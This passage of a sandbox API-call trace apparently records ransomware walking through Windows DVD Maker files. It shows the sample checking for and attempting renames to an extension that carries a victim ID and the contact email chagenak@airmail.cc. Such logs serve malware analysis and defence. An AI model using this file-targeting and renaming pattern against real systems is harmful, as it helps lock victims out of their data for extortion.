files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.498] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=12288) returned 1 [0245.498] CloseHandle (hObject=0x1f0) returned 1 [0245.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0245.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0245.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.501] SetEvent (hEvent=0x118) returned 1 [0245.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.504] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7168) returned 1 [0245.504] CloseHandle (hObject=0x1f0) returned 1 [0245.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0245.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0245.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.505] SetEvent (hEvent=0x118) returned 1 [0245.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.507] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=56760) returned 1 [0245.507] CloseHandle (hObject=0x1f0) returned 1 [0245.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0245.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0245.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.511] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=41472) returned 1 [0245.511] CloseHandle (hObject=0x1f0) returned 1 [0245.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0245.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0245.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.512] SetEvent (hEvent=0x118) returned 1 [0245.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\isspos.exe" (normalized: "c:\\program files\\dvd maker\\isspos.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.515] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=78336) returned 1 [0245.515] CloseHandle (hObject=0x1f0) returned 1 [0245.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\isspos.exe" (normalized: "c:\\program files\\dvd maker\\isspos.exe")) returned 0x20 [0245.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\isspos.exe" (normalized: "c:\\program files\\dvd maker\\isspos.exe")) returned 0x20 [0245.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\isspos.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\isspos.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\isspos.exe" (normalized: "c:\\program files\\dvd maker\\isspos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.516] SetEvent (hEvent=0x118) returned 1 [0245.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.517] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=43008) returned 1 [0245.517] CloseHandle (hObject=0x1f0) returned 1 [0245.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0245.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0245.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\offset.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.691] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=14967808) returned 1 [0245.691] CloseHandle (hObject=0x1b4) returned 1 [0245.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0x20 [0245.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0245.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0 [0245.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.828] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11861) returned 1 [0245.828] CloseHandle (hObject=0x1b4) returned 1 [0245.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0245.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0245.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.830] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3304) returned 1 [0245.830] CloseHandle (hObject=0x1b4) returned 1 [0245.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0245.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0245.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.832] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3467) returned 1 [0245.833] CloseHandle (hObject=0x1b4) returned 1 [0245.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0245.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0245.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.842] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=12349) returned 1 [0245.843] CloseHandle (hObject=0x1b4) returned 1 [0245.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0245.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0245.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.846] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=341322) returned 1 [0245.846] CloseHandle (hObject=0x1b4) returned 1 [0245.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0245.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0245.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.848] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=325322) returned 1 [0245.849] CloseHandle (hObject=0x1b4) returned 1 [0245.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0245.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0245.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.851] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=141214) returned 1 [0245.851] CloseHandle (hObject=0x1b4) returned 1 [0245.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0245.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0245.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.854] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=157214) returned 1 [0245.854] CloseHandle (hObject=0x1b4) returned 1 [0245.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0245.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0245.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.857] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=117214) returned 1 [0245.857] CloseHandle (hObject=0x1b4) returned 1 [0245.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0245.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0245.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 